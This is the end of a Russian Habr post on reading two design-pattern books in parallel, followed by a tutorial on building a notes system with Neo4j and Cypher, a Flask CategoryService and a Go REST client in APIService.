Первая книга читается легко и просто, там всё понятно; вторая книга читается сложнее, она более техническая, но там и больше полезной информации.
В чем смысл чтения двух книг одновременно: можно идти последовательно по темам (≈ паттернам), сначала читать главу из простой книги, а потом главу на ту же тему из сложной. У такого подхода есть следующие плюсы:
* Более сложная информация из сложной книги усваивается качественнее за счет того, что ты уже подготовлен к потреблению этой информации
* Информация из обеих книг в целом усваивается лучше за счет повторения материала и взгляда на одну и ту же проблему с разных сторон
Соответствие глав/тем
---------------------
Авторы книги от Head First не скрывают, что брали за основу книгу Банды Четырех. В частности, в книге от Head First обсуждаются ровно те же самые паттерны, что и в книге от Банды Четырех - какие-то больше, какие-то меньше. Таким образом, составить соответствие по темам между двумя книгами не очень сложно.
Ниже я привел некоторый план прочтения обеих книг (объяснение, как читать этот план, находится под самим планом):
```
# Введения и предисловия
[ ] Введение
[ ] Предисловие
[ ] Введение в паттерны
# Паттерны, хорошо описанные в обеих книгах
[ ] Предисловие к паттернам поведения
[ ] [ ] Strategy (Стратегия)
[ ] [ ] Observer (Наблюдатель)
[ ] Предисловие к структурным паттернам
[ ] [ ] Decorator (Декоратор)
[ ] Предисловие к порождающим паттернам
[ ] Фабрика (фабричный метод и абстрактная фабрика)
[ ] Factory Method (Фабричный метод)
[ ] Abstract Factory (Абстрактная фабрика)
[ ] [ ] Singleton (Одиночка)
[ ] [ ] Command (Команда)
[ ] Адаптер и фасад
[ ] Adapter (Адаптер)
[ ] Facade (Фасад)
[ ] [ ] Template Method (Шаблонный метод)
[ ] Итератор и компоновщик
[ ] Iterator (Итератор)
[ ] Composite (Компоновщик)
[ ] [ ] State (Состояние)
[ ] [ ] Proxy (Заместитель)
[ ] Составные паттерны
[ ] Паттерны для лучшей жизни
# Паттерны, хорошо описанные только Бандой Четырех
[ ] [ ] Bridge (Мост)
[ ] [ ] Builder (Строитель)
[ ] [ ] Chain of Responsibility (Цепочка обязанностей)
[ ] [ ] Flyweight (Приспособленец)
[ ] Обсуждение структурных паттернов
[ ] [ ] Interpreter (Интерпретатор)
[ ] [ ] Mediator (Посредник)
[ ] [ ] Memento (Хранитель)
[ ] [ ] Prototype (Прототип)
[ ] Обсуждение порождающих паттернов
[ ] [ ] Visitor (Посетитель)
[ ] Обсуждение паттернов поведения
# Заключения от Банды Четырех
[ ] Проектирование редактора документов
[ ] Заключение
```
Здесь названию главы/темы соответствует два столбца - первый столбец означает наличие главы/темы в книге от Head First, а второй - в книге Банды Четырех. Например, тема "Visitor (Посетитель)" есть в обеих книгах, а вот "Обсуждение паттернов поведения" - только в книге Банды Четырех. Порядок глав/тем соответствует порядку из Head First.
Все темы можно поделить на следующие группы:
* Введения и предисловия
* Паттерны, хорошо описанные в обеих книгах. Это те паттерны, которые прошли проверку временем и были доступно описаны Head First
* Паттерны, хорошо описанные только Бандой Четырех. Это менее популярные паттерны, но тоже имеющие право быть изученными. Head First уделяет этим паттернам буквально по несколько страниц, в то время как Банда Четырех описывает эти паттерны так же, как и все остальные
* Заключения от Банды Четырех. Здесь, помимо самого заключения, содержится пример использования паттернов на практике
Впечатления от книг
-------------------
#### Head First
Специфическая обложка и кол-во страниц (600+) для такой, казалось бы, не очень серьезной книги могут оттолкнуть от прочтения, но на самом книга читается очень просто, интересно, местами даже забавно, но при этом рассказываются там вполне полезные вещи. На фоне Банды Четырех чтение этой книги воспринимается чуть ли ни как отдых.
Читать эту книгу имеет смысл последовательно, а не в случайном порядке. Именно поэтому порядок глав/тем при одновременном чтении обеих книг соответствует Head First.
Примеры кода написаны на Java.
#### Банда Четырех
В отличие от Head First, здесь нет определенного порядка. Книга является скорее справочником паттернов, и читать ее от корки до корки необходимости нет. Информация здесь более сухая и техническая, но рассмотрено значительно больше деталей и нюансов, связанных с реализацией и применением как конкретных паттернов, так и их комбинаций.
Примеры кода написаны на C++ и SmallTalk. Последний язык, как мне показалось, имеет довольно специфический синтаксис, но в целом можно понять, что хотят показать авторы.
Итого
-----
Могу предложить 4 пути:
1. Повторить мой путь и прочитать обе книги одновременно. Такой вариант подойдет для тех, кто хочет *начать* изучать паттерны, но при этом хочет изучить их сразу на достаточно хорошем уровне
2. Прочитать только книгу от Банды Четырех. Подходит для тех, кто уже неплохо знает паттерны и хочет изучить их глубже
3. Прочитать только книгу от Head First. Подходит для тех, кто хочет начать изучать паттерны, но не хочет углубляться слишком сильно
4. Не читать ничего. ~~Ибо кому вообще нужны эти паттерны в реальном мире~~
На этом всё. Надеюсь, кому-нибудь эта статья будет полезна, и спасибо за внимание!
P.S. Избежать большого кол-ва повторений слова "книга" не удалось, прошу простить. | https://habr.com/ru/post/586494/ | null | ru | null |
# Разработка системы заметок с нуля. Часть 3: знакомство с Neo4j, работа над микросервисами CategoryService и APIService
Мы продолжаем разрабатывать систему заметок с нуля. В третьей части серии материалов мы познакомимся с графовой базой Neo4j, напишем CategoryService и реализуем клиента к новому сервису в APIService.
В [первой части](https://habr.com/ru/post/582294/) мы спроектировали систему и посмотрели, какие сервисы требуются для построения микросервисной архитектуры.
Во [второй части](https://habr.com/ru/post/582464/) мы спроектировали и разработали RESTful API Service на Golang cо Swagger и авторизацией.
Теперь разработаем сервис управления категориями CategoryService. Категории мы делаем в виде дерева с большой вложенностью, в теории — бесконечной. Сервис будем разрабатывать на языке Python, а в качестве хранилища используем Neo4j.
[Исходный код проекта на Github](https://github.com/theartofdevel/notes_system)
Подробности в видео и текстовой расшифровке под ним.
### Запуск графовой базы данных Neo4j
Neo4j — это высокопроизводительная NoSQL база данных, основанная на принципе графов. В ней нет такого понятия, как таблицы со строго заданными полями. Она оперирует гибкой структурой в виде нод и связей между ними.
Запускать Neo4j мы будем в Docker. Готовые образы на есть [hub.docker.com](https://hub.docker.com/). Они делятся на два вида: Enterprise и Community-версии. Нам надо выбрать тег образа, который будем использовать.
**Важно**: старайтесь не использовать тег latest, чтобы избежать ситуаций, когда вы запустите обновление контейнера, он обновится на последнюю версию, и у вас все сломается. Это связано с тем, что последнее обновление может содержать несовместимые изменения с вашей текущей версией. Например, у GitLab есть целая политика обновления как мажорных, так и минорных версий. Обновиться с 11 на 13 версию сразу не получится, придётся пройти длинный путь последовательных обновлений: 11.5.0 -> 11.11.8 -> 12.0.12 -> 12.10.14 -> 13.0.12 -> 13.2.3.
Но вернёмся к Neo4j. В официальной документации есть [статья про запуск в Docker-контейнере](https://neo4j.com/developer/docker-run-neo4j/). Возьмём оттуда команду docker run и преобразуем её в простой docker-compose.
```
docker run \
--name testneo4j \
-p7474:7474 -p7687:7687 \
-d \
-v $HOME/neo4j/data:/data \
-v $HOME/neo4j/logs:/logs \
-v $HOME/neo4j/import:/var/lib/neo4j/import \
-v $HOME/neo4j/plugins:/plugins \
--env NEO4J_AUTH=neo4j/test \
neo4j:latest
```
Версия docker-compose — 3.9. Затем идёт определение сервисов. У нас будет сервис Neo4j. Укажем, чтобы он всегда рестартовал, если упадет. Образ мы будем использовать с тегом 4.2.3. Далее — имя контейнера. Указываем порты, которые мы пробрасываем на хостовую машину. На порте 7474 будет доступен веб-интерфейс по протоколу HTTP, а 7687 используется для общения с Neo4j по протоколу BOLT. Далее пробрасываем volumes. Кроме тех, что указаны в команде, я ещё пробросил `/var/lib/neo4j/conf`, чтобы был доступ в файлу конфигурации `neo4j.conf`.
По умолчанию Neo4j создает пользователя neo4j с паролем neo4j и при первом входе требует сменить пароль. Этот этап можно пропустить, задав пароль через переменную среду `NEO4J_AUTH`.
Готовый файл docker-compose
Готовый файл запускаем командой^
```
docker-compose -f /path/to/docker-compose.yml
```
Дополнительно нам понадобятся процедуры APOC, которые расширяют функционал запросов к Neo4j. Для этого идём в репозиторий этих процедур, [скачиваем jar-файл](https://github.com/neo4j-contrib/neo4j-apoc-procedures) apoc-4.2.0.2-all.jar и кладём в наш volume ./export/neo4j/plugins.
### Работа через веб-интерфейс Neo4j
После установки Neo4j открываем веб-интерфейс, который висит на порте 7474. Коннектимся к дефолтной базе Neo4j. Вводим пароль, который указали в compose-файле. Нас встречает красивый интерфейс с тёмной темой. Он состоит из нескольких секций:
* Editor — здесь вводим команды на языке Cypher, чтобы работать с графом. Хоткей Shift + Enter позволяет вводить команду в несколько строк. Чтобы запустить выражение, нажмите Ctrl + Enter (CMD + Enter). Также ведётся полная история всех введённых команд.
* Stream — для отображения результата выполненной команды. Для каждой выполненной команды создаётся отдельный Stream.
* Code отображает все полученные и отправленные данные от сервера.
* Sidebar отображает мета-дату базы данных и основную информацию. Сохранённые скрипты можно раскидать по папкам. Также тут размещены ссылки на документацию и информация о лицензии.
Веб-интерфейс Neo4j### Основные команды языка Cypher
Язык Cypher создан специально для взаимодействия с графами. Он является декларативным, похож на SQL и использует паттерны, чтобы описать граф. Давайте разберёмся с основными командами, которые нам нужны.
```
CREATE (u:User {id: 1})
```
Это команда создания ноды, которая будет представлять пользователя. CREATE — это ключевое слово, после него идет определение ноды в круглых скобках, u — это алиас, который мы можем использовать в запросе, он не сохраняется в базу. Далее через двоеточие указываем лейбл, их можно указать несколько. Они сохраняются в базе и могут быть использованы для идентификации. После лейблов в фигурных скобках в формате JSON указываются свойства ноды.
Выполняем команду, нажимая Cmd + Enter. Создаётся новое окно стрима, где отображается результат работы нашей команды. В данном случае в стриме будет отчёт о том, что было создано.
Теперь давайте найдём нашу ноду. Пишем ключевое слово MATCH, далее определяем, какие ноды ищем и возвращаем по алиасу.
```
MATCH (u:User:Human) RETURN u
```
Теперь создадим ещё одну ноду и отношение с нодой пользователя.
```
MATCH
(u:User)
WHERE u.id = 1
CREATE (c:Category { name: "Category 1", id: apoc.create.uuid()})
CREATE (u)-[r:OWN]->(c)
RETURN c.id
```
Пишем ключевое слово MATCH и ноду, далее идёт ключевое слово WHERE — ищем пользователя с id = 1. После нахождения мы можем создать новую ноду:
1. Пишем CREATE.
2. Формализуем ноду «Категории».
3. Указываем свойство id и вызываем функцию APOC, которая генерирует UUID. Чтобы она работала, мы копировали ранее jar-файл.
После создания ноды создаём отношение:
1. Добавляем ключевое слово CREATE.
2. Пишем ноду нашего юзера.
3. Создаём отношение.
4. Возвращаем id созданной категории.
Отношение состоит из 3 элементов: направление отношения по отношению к пользователю, алиас и лейбл, направление отношения по отношению к ноде категории. То есть мы можем создать отношение как от юзера к категории, так и от категории к юзеру. У отношений также могут быть свойства. Они задаются в формате JSON. Это крайне удобно для сложных структур. Например, можно было для отношений пользователя к группам и категорий к подкатегориям сделать свойства отношения created\_date.
Чтобы посмотреть, как Neo4j обрабатывает наш запрос, добавим ключевое слово EXPLAIN или PROFILE.
```
PROFILE MATCH (n)
RETURN n
EXPLAIN MATCH (n)
RETURN n
```
Мы увидим план запроса, который можно проанализировать, чтобы понять, насколько он хорош или плох.
План запросаПосмотреть историю команд можно командой `:history`, очистить все стримы — командой `:clear`.
Давайте создадим ещё немного нод и отношений, чтобы можно было выполнить запрос на поиск всех нод и всех отношений:
```
MATCH (n)
RETURN n
```
У нас получилось создать две ноды пользователей с одинаковым полем id, так как уникальным идентификатором по умолчанию является внутренний идентификатор ноды , который генерирует сам Neo4j.
#### Запросы, которые будут использоваться в нашем сервисе
Создание ноды пользователя мы рассмотрели. Но мы будем делать это вместе с командой создания рутовой категории следующим образом:
```
MERGE (u:User {id: 1})
CREATE (c:Category { name: "Category 22", id: apoc.create.uuid()})
CREATE (u)-[r:OWN]->(c)
RETURN c.id
```
Используем ключевое слово MERGE, которое создаст новую ноду, если пользователя с таким id нет, или найдёт все ноды с таким id. Создаём новую ноду «Категории» и связь между нодой пользователя и категории. В результате мы видим два JSONа и две созданные ноды с одинаковым названием, потому что первый запрос на матчинг пользователя нашёл двух пользователей с id равным единице и создал две категории и два отношения.
Рутовая категория — это категория, которая имеет связь с пользователем. Под категорией я имею в виду категории, которые не связаны с пользователем.
КатегорииСозданные категории
Теперь нам нужен запрос на создание ноды подкатегории и отношения с рутовой категорией:
```
MATCH (cs:Category)
WHERE cs.id = "de8dc382-67bb-454c-9873-fd969eec1535"
CREATE (c:Category { name: "Category 1.2", id: apoc.create.uuid()})
CREATE (cs)-[r:CHILD]->(c)
RETURN c.id
```
Находим ноду категории по идентификатору. Далее создаём категорию и отношение между категориями. Для связи используем лейбл CHILD, а не OWN как для отношения между нодами пользователя и рутовой категории.
Нам также нужен запрос, который вернёт дерево всех нод категорий со всеми подкатегориями пользователя:
```
MATCH path = (u:User)-[*]->(c)
WHERE NOT (c)-->() AND u.id = "77803c1a-8c1a-492a-89be-f219735b2aef"
RETURN path
```
Мы ищем от стартовой ноды, пока не дойдём до ноды, у которой нет выходных связей. В MATCH мы пишем path =. Таким образом мы создаём объект с типом Path, в котором находятся все найденные ноды. Это упрощает возврат всего графа всех категорий. Этот запрос отлично выводит граф в Neo4j в браузере, но для кода нам нужен на выходе древовидный JSON. Для этого соберём path в список и отдадим его функции apoc.convert.toTree, чтобы получить выходной древовидный JSON. Но перед его выводом удалим вторую ноду пользователя по внутреннему идентификатору:
```
MATCH (u:User)
WHERE ID(u) = 26
DETACH DELETE u
```
Теперь модифицируем нашу команду для получения дерева категорий. Добавляем ключевое слово WITH, собираем наш путь в список нод и вызываем функцию apoc.convert.toTree, передавая на вход список нод. В результате получаем древовидный JSON.
```
MATCH path = (u:User)-[*]->(c)
WHERE NOT (c)-->() AND u.id = "77803c1a-8c1a-492a-89be-f219735b2aef"
WITH collect(path) AS ps
CALL apoc.convert.toTree(ps) yield value
RETURN value
```
Ещё нам нужно проверять наличие родительское категории, чтобы понимать, сможем ли мы создать подкатегорию. Сделать это можно при помощи следующего запроса:
```
OPTIONAL MATCH (n:User{id:2})
RETURN n IS NOT NULL AS Predicate
```
В результате выполнения запроса вернётся true или false.
Также нам нужно каскадно удалять категории. Чтобы сделать это, мы ищем все ноды от стартовой категории, которую хотим удалить, убираем связи и удаляем их.
```
MATCH path = (c:Category)-[*]->(cc:Category)
WHERE c.id = "95bec604-5da2-4297-b792-5a866e292df4"
DETACH DELETE path
```
Во время разработки мне очень пригодился запрос на удаление всех нод. Ключевое слово DETACH позволяет удалять связанные ноды каскадно.
```
MATCH (n)
DETACH DELETE n
```
### Создание CategoryService
Писать будем на Python.
Маленький disclaimer: я на Python пишу в таком же стиле, как на Java, так как Java был моим первым языком программирования. Знаю, что это не дзен и что так не принято, но такой код легче тестировать, в нём меньше ошибок, он более читаемый.
Сначала создадим venv и установим нужные библиотеки. Будем использовать:
* Flask как минималистичный веб-фреймоворк.
* Flask-CORS для возможности обращения с разных доменов.
* Flask-RESTful, чтобы было удобнее создавать классы с ресурсами. Этот проект забросили, если знаете достойную замену, напишите, пожалуйста, в комментариях.
* Flask-Injector для реализации паттерна Dependency Injection, чтобы не было глобальных импортов.
* PyYAML для работы с форматом данных YAML.
Начнём с главного файла app.py и с конфига приложения.
1. Создаём класс конфига. Почти везде я буду использовать слоты для классов. Это уменьшает вес объектов, но лишает объекты свойства dict, об этом нужно помнить.
2. Конфиг мы будем вычитывать из YAML-файла. Поэтому в конструкторе получаем путь до файла и сразу вызываем функцию read, которая вычитает файл.
3. Проверяем, что такой файл есть. Если его нет, то выбрасываем ошибку.
4. В контексте открываем файл и вычитываем содержимое. Тут же парсим его при помощи библиотеки PyYAML.
5. Проходимся по содержимому.
6. Далее мы будем вызывать метод setattr, чтобы засетить слоты в нашем классе. Если ключ есть в слотах, мы сеттим этот атрибут.
Создадим YAML-файл с конфигурацией. В нашем конфиге будет переменная debug. Она нужна для разработки, например, дополнительного логирования или перехвата ошибок.
Для констант создаём файл constants.py. Там мы будем хранить все константы приложения, например, путь до конфиг-файла и путь до папки с логами.
Возвращаемся к app.py. Следующий важный компонент — это логирование.
1. Создаём дефолтный логер с уровнем DEBUG.
2. Создаём FileHandler, чтобы наши логи попадали в файл.
3. Формат записи в логе мы определяем при помощи форматтера. У него особый язык, который описан в документации.
4. Добавляем в логер наш хендлер.
5. Создаём основной объект нашего приложения app, настраиваем его, а конфиг сеттим внутрь нашего объекта. Это позволит конфигурировать сам Flask через наш конфиг.
6. Оборачиваем объект приложения объектом Api из библиотеки Flask-RESTful. Теперь мы сможем регистрировать ресурсы в объекте api.
7. Оставляем место, где у нас будет injector для Dependency Injection.
8. Пишем глобальную обработку ошибок.
Метод errorhandler будет перехватывать все исключения типа AppException и вызывать функцию app\_exception\_handler. Теперь нам нужно создать такой класс исключения. Наследовать его будем от класса Exception. Также мы сделаем систему ошибок в нашем приложении. AppException в конструкторе будет принимать на себя параметр exc\_data, который может являться enum AppError и состоит из полей error: сообщение об ошибке, error\_code — код ошибки и developer\_message — сообщение для разработчика.
Различные кастомные обработчики я обычно называю помощниками. Поэтому создаю пакет helpers и там в файле flask.py реализую функцию обработки AppException. Также, если приложение не в дебаг-режиме, то мы перехватываем вообще все исключения, даже те, которые не обрабатываем. Например, где-нибудь мы поделим на 0 и не обработаем. Это нужно для продакшен-режима, когда пользователь не должен видеть разные HTML-страницы с ошибками или трейсы. Для этого создаём функцию uncaught\_exception\_handler, которая пишет в лог и вызывает функцию обработки AppException с ошибкой системы. У нас её как раз нет, поэтому возвращаемся и реализовываем enum AppError, добавляем в него SYSTEM\_ERROR.
Мы будем добавлять в enum ошибки по мере их появления. Запускаем приложение и проверяем, что в конфиге есть все наши настройки.
### Разработка DAO-слоя для доступа к Neo4j
Мы будем реализовывать классический DAO-паттерн. Будет абстрактный класс Storage, который является по сути интерфейсом с абстрактными методами, и конкретная реализация с Neo4j. Это позволит не привязываться к конкретному хранилищу. Если возникнет необходимость его сменить, это можно будет сделать, создав ещё одну реализацию и изменив класс в контейнере зависимостей.
В классе с реализацией для Neo4j мы создаём объект Graph и передаём ему параметры для подключения. Для понимания того, что надо передать классу, чтобы присоединиться, есть два пути: смотреть в документацию или в исходники. Оба имеют право на жизнь.
Выполнение любого запроса для Neo4j — это исполнение команды Cypher. Создаём метод execute\_cypher и все методы реализуем одинаково: вызываем метод execute\_cypher и возвращаем прочитанные данные из курсора. С первого взгляда выглядит как костыль. Но это условность, которая даёт гибкость в смене хранилища, при этом проблем с реализацией или тестируемостью нет.
Далее создаём ресурсы категорий. Библиотека Flask-RESTful даёт возможность создавать ресурсы в виде классов с методами get, post, put, delete. Создав метод get, понимаем, что нам нужен сервис управления категориями, а создав класс сервиса, понимаем, что ему нужен DAO для доступа к категориям. Создаём класс-интерфейс CategoryDAO, который мы и будем инжектить, и реализацию этого класса под Neo4j.
Пришло время запросов, которые мы рассмотрели ранее.
1. Идём в Neo4j и ещё раз проверяем, что запросы работают корректно.
2. Переносим запрос поиска всех категорий пользователя из Neo4j в код сервиса. Попутно везде проставляем возвращаемые значения, где забыли.
3. Возвращаемся в сервис, добавляем в конструктор логер и реализуем метод получения категорий.
4. Разбираемся с методами сервиса и DAO-слоя. Основная логика простая: сервис вызывает метод DAO и получает данные, с которыми он может что-то сделать и вернуть.
Надо протестировать хотя бы получение всех категорий. Но для этого нам надо в сервисе получить реализацию интерфейса CategoryDAO. Это значит, что пришло время Dependency Injection.
1. В основном файле app.py создаём объект Injector, который на вход принимает массив.
2. Создаём объект FlaskInjector, которому отдаём наш объект app и созданный Injector.
3. Создаём отдельный файл di.py.
4. В файле di.py создаём классы модулей для наших зависимостей.
В случае со StorageModule для создания объекта Neo4jStorage нам нужны данные подключения к Neo4j из конфига. Поэтому в конструкторе передаем конфиг, а в методе configure уже используем его для создания экземпляра класса Neo4jStorage и биндим интерфейс Storage на объект нашей реализации. Также указываем параметр scope со значением singleton, то есть один объект на все приложение. Кроме того, там можно указать request, и тогда объект будет создаваться на каждый запрос к API. Таким же способом биндим интерфейс CategoryDAO на реализацию Neo4jCategoryDAO. Далее создаём подобный модуль для логера, чтобы и его можно было инжектить в конструкторе классов.
Заполняем массив Injector в файле app.py нашими модулями и проставляем декоратор @inject над конструкторами, куда инжектим наши классы. В ресурсах мы инжектим CategoryService, в CategoryService инжектим CategoryDAO, а в реализации Neo4jCategoryDAO инжектим Storage.
У нас будет два ресурса: CategoriesResource и CategoryResource.
1. Реализуем метод GET у ресурса списка категорий.
2. Вызываем сервис категорий, чтобы получить список категорий пользователя.
3. Протестируем этот метод. Создаём HTTP скетч и делаем запрос.
4. Первый тест сразу покажет все ошибки и опечатки. После исправлений проходимся в дебаге по всему процессу и смотрим, что происходит.
5. Мы успешно получили данные из Neo4j. Парсим полученные данные от стораджа.
Тут надо отметить, что ключ value — это стандартный ключ, генерируемый Neo4j, а вот ключ own — это уже связь между пользователем и его рутовой категорией. У категории есть ключ child, что обозначает связь между рутовой категорией и подкатегорий.
Чтобы распарсить древовидный JSON, нам очевидно нужна рекурсивная функция.
1. Создаём функцию \_parse\_categories и понимаем, что нам не хватает модели Category.
2. Создаём пакет model в DAO и в нем организуем три файла: base.py для базовой модели методов, dto.py для реализации паттерна DTO и model.py для данных из БД.
DTO — это паттерн для оперирования входными данными от пользователя. Они упаковываются в класс DTO. Сервисы работают с ними, а модель — это уже полное представление данных из БД. Реализовывать модели и DTO будем на data-классах.
При реализации модели Category есть один нюанс. Так как категория содержит в себе подкатегории, то модель должна содержать поле с массивом это же класса. Python так не позволяет сделать, так как он не видит этого класса, для него он не создан. Обойти это можно строковой аннотацией и объектом List из пакета Typing. Все классы будем наследовать от базового класса Base. У него будут общие методы, например, преобразование объекта в словарь, исключая пустые поля. Это нужно, чтобы в итоговом JSON не было пустых полей.
DTO создаются на каждое действие пользователя. В нашем случае это Create, Update и Delete. Разные DTO содержат разные данные и разные обязательные поля. Например, для CreateCategoryDTO не нужен uuid категории, так как его еще не существует. В вот для Delete и Update uuid категории обязательно нужен.
Возвращаемся к парсингу категорий. Тут всё просто.
1. Проходим по списку, собираем категорию.
2. Если у категории есть дети, рекурсивно вызываем функцию, чтобы получить список категорий детей категории.
3. Доделываем метод get\_categories у сервиса категорий.
4. Делаем проверку на то, что пользователь, чьи категории запрашиваются, существует, иначе отдаем 404 и ошибку USER\_NOT\_FOUND.
5. Реализуем методы создания, обновления и удаления категории. Я вызываю несуществующие методы, чтобы понять, какие методы будут нужны. Также попутно дополняю DTO-классы необходимыми полями, после чего массово объявляю все нужные методы в интерфейсе CategoryDAO и потом реализую эти методы в DAO-реализации для Neo4j.
6. Запросы всё так же тестируем в веб-интерфейсе Neo4j. Графы выглядят очень красиво, а язык Cypher крайне удобен, нет проблем с запросами бесконечной вложенности.
Есть информация, что Neo4j падает при 1 миллионе нод и 500 связей между ними. Я не тестировал, но думаю, что если применить масштабирование и/или шардирование, то эту проблему можно решить.
После реализации всех методов в DAO возвращаемся к ресурсам.
Получаем user\_uuid из Query Path. Запускаем и проверяем получение всех категорий без указания user\_uuid. Получаем код 500 вместо 404. Cтандартная ошибка вместо нашего User not found. Начинаю разбираться, почему ошибка не моя:
1. Проверяю функции обработки ошибок.
2. Понимаю, что в ошибке не хватает HTTP-кода возврата.
3. Нахожу ошибку в классе исключения. Я не забирал данные из переданной ошибки в исключении.
4. После исправления я всё-таки перехватил ошибку. Но метод jsonify упал с ошибкой, так как не смог сериализовать объект AppException. Поэтому передаем в jsonify не сам объект, а вызываем у него magic-метод dict. Теперь всё хорошо, кроме HTTP-кода.
Проблема была в месте присваивания HTTP-кода в классе AppException. Ошибка корректная. Теперь проверяем получение всех категорий с заданным user\_uuid. Видим, что все объекты получены корректно. Но теперь код падает на сериализации списка категорий. Проблема в том, что стандартный сериализатор JSON не знает, что делать с классом Category, надо ему рассказать об этом.
Создаём в пакете helpers файл json.py. В нём создаём класс CustomJSONEncoder с методом default. Здесь мы пытаемся создать универсальный сериализатор, который будет уметь сериализовать строки, энамы, словари, итерируемые объекты, объекты со слотами или без слотов, но с объектом dict. Функция должна рекурсивной, чтобы сериализатор корректно работал с вложенными объектами. Поэтому выделяем код в отдельный метод to\_dict и рекурсивно вызываем на каждый объект внутри объекта, а метод to\_dict вызываем в методе default. Проверяем еще раз — успех. Мы получили древовидный JSON.
Тут можно спросить, зачем я десериализую JSON от Neo4j в объекты, а потом опять сериализую его в JSON, чтобы отдать клиенту. Ответ простой: если потребуется реализовать какую-то логику по обогащению данных или изменится структура в хранилище, структура и модели данных не изменятся, а значит не изменится и контракт сервиса. [В ролике про микросервисы](https://www.youtube.com/watch?v=Q99r7ssHrvU) я уже объяснял, что очень важно проектировать сервисы таким образом, чтобы их контракты не менялись даже при изменении логики работы самого сервиса.
### Методы создания, обновления и удаления категории
Далее реализуем метод post для создания категории. Я не хочу вручную получать данные из body и создавать DTO. Поэтому применяю маршалинг. Пишу декоратор masrshal\_with, в котором указываю, что вернёт метод, и декоратор use\_kwargs, для которого указываю, какую DTO я жду на входе. То есть этот декоратор возьмет body из запроса и провалидирует его относительно data-класса, который я ему задал в параметрах.
Чтобы это работало, нужно реализовать метод to\_schema во всех DTO. Для этого в классе Base реализуем метод to\_schema. Воспользуемся библиотекой marshmallow\_dataclass и методом class\_schema. Теперь в сигнатуре метода хендлера я могу объявить аргумент валидируемой DTO. В методе post создания категории мы ничего не возвращаем, кроме заголовка Location с URI до созданной категории. Из этого заголовка будет легко получить uuid созданной категории. Пишем тест на создание рутовой категории (то есть без параметра parent\_uuid) и проверяем. Видим, что наша DTO десерелиазована и все данные на месте. Главное, что категория создана. Теперь пишем тест на создание подкатегории, указывая parent\_uuid в body, и проверяем, что такая категория была создана.
Теперь создаём ресурс для работы с конкретной категорией, а также методами patch для обновления и delete для удаления. Пишем для них тесты, проверяем функционал. Также добавим наследования классов ресурсов от класса MethodResource. Это нужно для корректной работы декораторов и возможности последующей генерации swagger-файла на основе кода. Запускаем тест и получаем ошибку в формате HTML. Давайте обработаем такие ошибки отдельно. Создаём функцию handle\_request\_parse\_error с декоратором parser.error\_handler. В случае такой ошибки выполняем функцию abort и передаём ей ошибки схемы валидации. Повторяем тест и получаем JSON с ошибкой валидации схемы. Далее финальное тестирование, фиксим опечатки. Сервис готов.
Ещё можно сделать валидацию пользовательских данных, например, проверку формата uuid для полей user\_uuid и parent\_uuid. Также можно провалидировать имя категории, чтобы это была строка, ограничить её по длине, нормализовать и сделать ограничение на спецсимволы.
### Доработка APIService
Теперь нужно сделать реализацию клиента к новому CategoryService в нашем APIService.
1. Создаём папку rest в pkg.
2. Создаём файл client.go, в котором у нас будут общие структуры для общения с RESTful-сервисом.
3. Добавляем FilterOptions — это структура для возможности фильтрации список, которая состоит из поля, оператора и значений.
4. Делаем метод BuildURL, который будет формировать итоговый URL из базового URL ресурса, к которому мы обращаемся, и фильтров, которые, по сути, являются ключами и значениями Query Path. В BuildURL мы парсим базовый URL, добавляем в него ключи и значения из фильтров.
5. Создаём метод ToStringWF у фильтра, чтобы склеить оператор и значения.
6. Добавляем структуру ошибки API с полями Error, ErrorCode и DeveloperMessage. Это те же поля, что были в классе AppError в CategoryService.
7. В internal создаём папку client.
8. В директории client создаём папку category и файл client.go.
9. В директории category создаём файлы model.go и service.go.
10. В файле model.go описываем структуру «Категории». Здесь уже нет проблемы с указанием собственного класса в полях класса, как это было в Python.
11. Применяем паттерн DTO и создаём DTO-модели.
Код можно немного зарефакторить. Идея следующая: в папке rest будет общий клиент для всех RESTful-сервисов в файле client.go, а в файле url.go — уже построение общего URL и структуры API.
1. Базовый клиент состоит из URL, HTTP-клиента и мьютекса для многопоточной работы.
2. Создаём метод SendRequest, который будет отправлять запрос и возвращать ответ.
3. Лочим мьютекс.
4. Запускаем отложенный анлок при помощи defer.
5. Проверяем, есть ли HTTP-клиент.
6. Выставляем заголовки, которые при желании можно получать на входе в функцию.
7. Выполняем запрос.
8. Проверяем статус-код у ответа. Если он плохой, то пытаемся прочитать из тела ответа ошибки. Также не забываем запустить отложенное закрытие тела ответа, так как это поток.
9. Реализуем метод Close, который обнуляет HTTP-клиент.
Теперь реализуем клиента к сервису категорий.
1. Создаём функцию NewClient, которая на вход получает URL сервиса.
2. Реализуем все нужные нам методы: получение, создание, обновление и удаление категорий.
Реализация довольно простая: получаем на вход нужные параметры, контекст и фильтры, дополняем фильтры нашей логикой. В случае получения категорий добавляем туда параметр user\_uuid. Далее билдим URL и запрос, добавляем в запрос контекст и отправляем запрос. Закрытие тела в методе SendRequest надо делать, только если статус-код плохой. Иначе мы не вычитаем тело в нашем методе. Вычитываем тело ответа, ожидая там увидеть список категорий. Здесь нужно запустить отложенное закрытие потока тела ответа. Затем возвращаем список категорий. Добавляем щепотки логирования и реализуем остальные методы.
В Golang контекст является агрегацией действий и процессов. Он позволяет отменить их все. Например, пользователь сделал запрос, вы его получили, запустили в общем контексте два запроса и ещё несколько фоновых операций. В процессе работы пользователь отменил запрос. Нам нужно отменить операции. Чтобы не закрывать их все руками, вы просто вызываете метод Cancel у контекста. Все сделанные запросы также прервут своё выполнение.
В методах CreateCategory, UpdateCategory и DeleteCategory мы используем библиотеку structs, которая позволяет нам сгенерировать map из входной DTO-структуры. Полученный map мы маршалим. Получаем байты, которые отдаём запросу в виде буфера через конструкцию bytes.NewBuffer.
Когда клиент готов, добавляем его в структуру нашего хендлера категорий. В самом хенделере пишем код, который вызывает методы клиента сервиса категорий.
Во всех хендлерах, если вызов метода клиента категорий привел к ошибке, я отдаю код ответа «418 I’m a teapot». Использую его, чтобы обозначить, что запрос не выполнился из-за ошибки в коде, а не проблемы среды или недоступности БД. Также при получении списка категорий я начал реализовывать маршалинг структуры массива категорий и неожиданно понял, что просто так делаю сериализацию и десериализацию списка категорий.
